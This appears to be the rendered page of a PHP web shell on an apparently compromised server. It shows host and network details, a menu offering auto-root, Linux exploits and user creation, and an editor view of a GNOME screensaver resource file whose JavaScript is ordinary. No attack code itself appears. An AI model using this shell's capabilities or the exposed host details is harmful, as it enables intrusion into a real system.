Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
gnome-shell /
[ HOME SHELL ]
Name
Size
Permission
Action
extensions
[ DIR ]
drwxr-xr-x
gir-1.0
[ DIR ]
drwxr-xr-x
modes
[ DIR ]
drwxr-xr-x
search-providers
[ DIR ]
drwxr-xr-x
theme
[ DIR ]
drwxr-xr-x
gdm-theme.gresource
3.72
MB
-rw-r--r--
gnome-shell-dbus-interfaces.gresource
55.21
KB
-rw-r--r--
gnome-shell-icons.gresource
26.05
KB
-rw-r--r--
gnome-shell-osk-layouts.gresource
755.16
KB
-rw-r--r--
gnome-shell-theme.gresource
415.44
KB
-rw-r--r--
Gvc-1.0.gir
147.29
KB
-rw-r--r--
org.gnome.Extensions
118
B
-rw-r--r--
org.gnome.Extensions.data.gresource
23.31
KB
-rw-r--r--
org.gnome.Extensions.src.gresource
24.84
KB
-rw-r--r--
org.gnome.ScreenSaver
97
B
-rw-r--r--
org.gnome.ScreenSaver.src.gresource
12.37
KB
-rw-r--r--
org.gnome.Shell.Extensions
97
B
-rw-r--r--
org.gnome.Shell.Extensions.src.gresource
36.43
KB
-rw-r--r--
org.gnome.Shell.Notifications
97
B
-rw-r--r--
org.gnome.Shell.Notifications.src.gresource
15.09
KB
-rw-r--r--
org.gnome.Shell.Screencast
97
B
-rw-r--r--
org.gnome.Shell.Screencast.src.gresource
25.15
KB
-rw-r--r--
perf-background.xml
1.1
KB
-rw-r--r--
Shell-0.1.gir
242.23
KB
-rw-r--r--
St-1.0.gir
434.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : org.gnome.ScreenSaver.src.gresource
GVariant T ( V%� T v h � \.�� � v � � �6�N � v � )% ɻ�Z )% v @% �- ��'r �- L �- . L�{ . L . . ��$0 . L . . Ե ���� . L $. (. KP� (. L ,. 0. `R M 0. L <. @. H�R� @. v P. ~1 dbusService.js # /* exported DBusService, ServiceImplementation */ const { Gio, GLib } = imports.gi; const Signals = imports.signals; const IDLE_SHUTDOWN_TIME = 2; // s const { programArgs } = imports.system; var ServiceImplementation = class { constructor(info, objectPath) { this._objectPath = objectPath; this._dbusImpl = Gio.DBusExportedObject.wrapJSObject(info, this); this._injectTracking('return_dbus_error'); this._injectTracking('return_error_literal'); this._injectTracking('return_gerror'); this._injectTracking('return_value'); this._injectTracking('return_value_with_unix_fd_list'); this._senders = new Map(); this._holdCount = 0; this._hasSignals = this._dbusImpl.get_info().signals.length > 0; this._shutdownTimeoutId = 0; // subclasses may override this to disable automatic shutdown this._autoShutdown = true; this._queueShutdownCheck(); } // subclasses may override this to own additional names register() { } export() { this._dbusImpl.export(Gio.DBus.session, this._objectPath); } unexport() { this._dbusImpl.unexport(); } hold() { this._holdCount++; } release() { if (this._holdCount === 0) { logError(new Error('Unmatched call to release()')); return; } this._holdCount--; if (this._holdCount === 0) this._queueShutdownCheck(); } /** * _handleError: * @param {Gio.DBusMethodInvocation} * @param {Error} * * Complete @invocation with an appropriate error if @error is set; * useful for implementing early returns from method implementations. * * @returns {bool} - true if @invocation was completed */ _handleError(invocation, error) { if (error === null) return false; if (error instanceof GLib.Error) { invocation.return_gerror(error); } else { let name = error.name; if (!name.includes('.')) // likely a normal JS error name = `org.gnome.gjs.JSError.${name}`; invocation.return_dbus_error(name, error.message); } return true; } _maybeShutdown() { if (!this._autoShutdown) return; if (GLib.getenv('SHELL_DBUS_PERSIST')) return; if (this._holdCount > 0) return; this.emit('shutdown'); } _queueShutdownCheck() { if (this._shutdownTimeoutId) GLib.source_remove(this._shutdownTimeoutId); this._shutdownTimeoutId = GLib.timeout_add_seconds( GLib.PRIORITY_DEFAULT, IDLE_SHUTDOWN_TIME, () => { this._shutdownTimeoutId = 0; this._maybeShutdown(); return GLib.SOURCE_REMOVE; }); } _trackSender(sender) { if (this._senders.has(sender)) return; this.hold(); this._senders.set(sender, this._dbusImpl.get_connection().watch_name( sender, Gio.BusNameWatcherFlags.NONE, null, () => this._untrackSender(sender))); } _untrackSender(sender) { const id = this._senders.get(sender); if (id) this._dbusImpl.get_connection().unwatch_name(id); if (this._senders.delete(sender)) this.release(); } _injectTracking(methodName) { const { prototype } = Gio.DBusMethodInvocation; const origMethod = prototype[methodName]; const that = this; prototype[methodName] = function (...args) { origMethod.apply(this, args); if (that._hasSignals) that._trackSender(this.get_sender()); that._queueShutdownCheck(); }; } }; Signals.addSignalMethods(ServiceImplementation.prototype); var DBusService = class { constructor(name, service) { this._name = name; this._service = service; this._loop = new GLib.MainLoop(null, false); this._service.connect('shutdown', () => this._loop.quit()); } run() { // Bail out when not running under gnome-shell Gio.DBus.watch_name(Gio.BusType.SESSION, 'org.gnome.Shell', Gio.BusNameWatcherFlags.NONE, null, () => this._loop.quit()); this._service.register(); let flags = Gio.BusNameOwnerFlags.ALLOW_REPLACEMENT; if (programArgs.includes('--replace')) flags |= Gio.BusNameOwnerFlags.REPLACE; Gio.DBus.own_name(Gio.BusType.SESSION, this._name, flags, () => this._service.export(), null, () => this._loop.quit()); this._loop.run(); } }; (uuay)main.js /* exported main */ const { DBusService } = imports.dbusService; const { ScreenSaverService } = imports.screenSaverService; function main() { const service = new DBusService( 'org.gnome.ScreenSaver', new ScreenSaverService()); service.run(); } (uuay)fileUtils.js A // -*- mode: js; js-indent-level: 4; indent-tabs-mode: nil -*- /* exported collectFromDatadirs, recursivelyDeleteDir, recursivelyMoveDir, loadInterfaceXML, loadSubInterfaceXML */ const { Gio, GLib } = imports.gi; const Config = imports.misc.config; function collectFromDatadirs(subdir, includeUserDir, processFile) { let dataDirs = GLib.get_system_data_dirs(); if (includeUserDir) dataDirs.unshift(GLib.get_user_data_dir()); for (let i = 0; i < dataDirs.length; i++) { let path = GLib.build_filenamev([dataDirs[i], 'gnome-shell', subdir]); let dir = Gio.File.new_for_path(path); let fileEnum; try { fileEnum = dir.enumerate_children('standard::name,standard::type', Gio.FileQueryInfoFlags.NONE, null); } catch (e) { fileEnum = null; } if (fileEnum != null) { let info; while ((info = fileEnum.next_file(null))) processFile(fileEnum.get_child(info), info); } } } function recursivelyDeleteDir(dir, deleteParent) { let children = dir.enumerate_children('standard::name,standard::type', Gio.FileQueryInfoFlags.NOFOLLOW_SYMLINKS, null); let info; while ((info = children.next_file(null)) != null) { let type = info.get_file_type(); let child = dir.get_child(info.get_name()); if (type == Gio.FileType.REGULAR) child.delete(null); else if (type == Gio.FileType.DIRECTORY) recursivelyDeleteDir(child, true); } if (deleteParent) dir.delete(null); } function recursivelyMoveDir(srcDir, destDir) { let children = srcDir.enumerate_children('standard::name,standard::type', Gio.FileQueryInfoFlags.NOFOLLOW_SYMLINKS, null); if (!destDir.query_exists(null)) destDir.make_directory_with_parents(null); let info; while ((info = children.next_file(null)) != null) { let type = info.get_file_type(); let srcChild = srcDir.get_child(info.get_name()); let destChild = destDir.get_child(info.get_name()); if (type == Gio.FileType.REGULAR) srcChild.move(destChild, Gio.FileCopyFlags.NONE, null, null); else if (type == Gio.FileType.DIRECTORY) recursivelyMoveDir(srcChild, destChild); } } let _ifaceResource = null; function ensureIfaceResource() { if (_ifaceResource) return; // don't use global.datadir so the method is usable from tests/tools let dir = GLib.getenv('GNOME_SHELL_DATADIR') || Config.PKGDATADIR; let path = `${dir}/gnome-shell-dbus-interfaces.gresource`; _ifaceResource = Gio.Resource.load(path); _ifaceResource._register(); } function loadInterfaceXML(iface) { ensureIfaceResource(); let uri = `resource:///org/gnome/shell/dbus-interfaces/${iface}.xml`; let f = Gio.File.new_for_uri(uri); try { let [ok_, bytes] = f.load_contents(null); return new TextDecoder().decode(bytes); } catch (e) { log(`Failed to load D-Bus interface ${iface}`); } return null; } function loadSubInterfaceXML(iface, ifaceFile) { let xml = loadInterfaceXML(ifaceFile); if (!xml) return null; let ifaceStartTag = `<interface name="${iface}">`; let ifaceStopTag = '</interface>'; let ifaceStartIndex = xml.indexOf(ifaceStartTag); let ifaceEndIndex = xml.indexOf(ifaceStopTag, ifaceStartIndex + 1) + ifaceStopTag.length; let xmlHeader = '<!DOCTYPE node PUBLIC\n' + '\'-//freedesktop//DTD D-BUS Object Introspection 1.0//EN\'\n' + '\'http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd\'>\n' + '<node>\n'; let xmlFooter = '</node>'; return ( xmlHeader + xml.substr(ifaceStartIndex, ifaceEndIndex - ifaceStartIndex) + xmlFooter); } (uuay)screenSaverService.js � // -*- mode: js; js-indent-level: 4; indent-tabs-mode: nil -*- /* exported ScreenSaverService */ const { Gio, GLib } = imports.gi; const { loadInterfaceXML } = imports.misc.fileUtils; const { ServiceImplementation } = imports.dbusService; const ScreenSaverIface = loadInterfaceXML('org.gnome.ScreenSaver'); const ScreenSaverProxy = Gio.DBusProxy.makeProxyWrapper(ScreenSaverIface); var ScreenSaverService = class extends ServiceImplementation { constructor() { super(ScreenSaverIface, '/org/gnome/ScreenSaver'); this._autoShutdown = false; this._proxy = new ScreenSaverProxy(Gio.DBus.session, 'org.gnome.Shell.ScreenShield', '/org/gnome/ScreenSaver', (proxy, error) => { if (error) log(error.message); }); this._proxy.connectSignal('ActiveChanged', (proxy, sender, params) => { this._dbusImpl.emit_signal('ActiveChanged', new GLib.Variant('(b)', params)); }); this._proxy.connectSignal('WakeUpScreen', () => this._dbusImpl.emit_signal('WakeUpScreen', null)); } LockAsync(params, invocation) { this._proxy.LockRemote(...params, (res, error) => { if (this._handleError(invocation, error)) return; invocation.return_value(null); }); } GetActiveAsync(params, invocation) { this._proxy.GetActiveRemote(...params, (res, error) => { if (this._handleError(invocation, error)) return; invocation.return_value(new GLib.Variant('(b)', res)); }); } SetActiveAsync(params, invocation) { this._proxy.SetActiveRemote(...params, (res, error) => { if (this._handleError(invocation, error)) return; invocation.return_value(null); }); } GetActiveTimeAsync(params, invocation) { this._proxy.GetActiveTimeRemote(...params, (res, error) => { if (this._handleError(invocation, error)) return; invocation.return_value(new GLib.Variant('(u)', res)); }); } }; (uuay)misc/ js/ gnome/ / org/ ScreenSaver/ config.js // -*- mode: js; js-indent-level: 4; indent-tabs-mode: nil -*- /* The name of this package (not localized) */ var PACKAGE_NAME = 'gnome-shell'; /* The version of this package */ var PACKAGE_VERSION = '42.9'; /* 1 if gnome-bluetooth is available, 0 otherwise */ var HAVE_BLUETOOTH = 1; /* 1 if networkmanager is available, 0 otherwise */ var HAVE_NETWORKMANAGER = 1; /* 1 if soup2 should be used instead of soup3, 0 otherwise */ var HAVE_SOUP2 = 1; /* 1 if recorder is enabled, 0 otherwise */ var HAVE_RECORDER = 1; /* gettext package */ var GETTEXT_PACKAGE = 'gnome-shell'; /* locale dir */ var LOCALEDIR = '/usr/share/locale'; /* other standard directories */ var LIBEXECDIR = '/usr/libexec'; var PKGDATADIR = '/usr/share/gnome-shell'; /* g-i package versions */ var LIBMUTTER_API_VERSION = '10' (uuay)
Close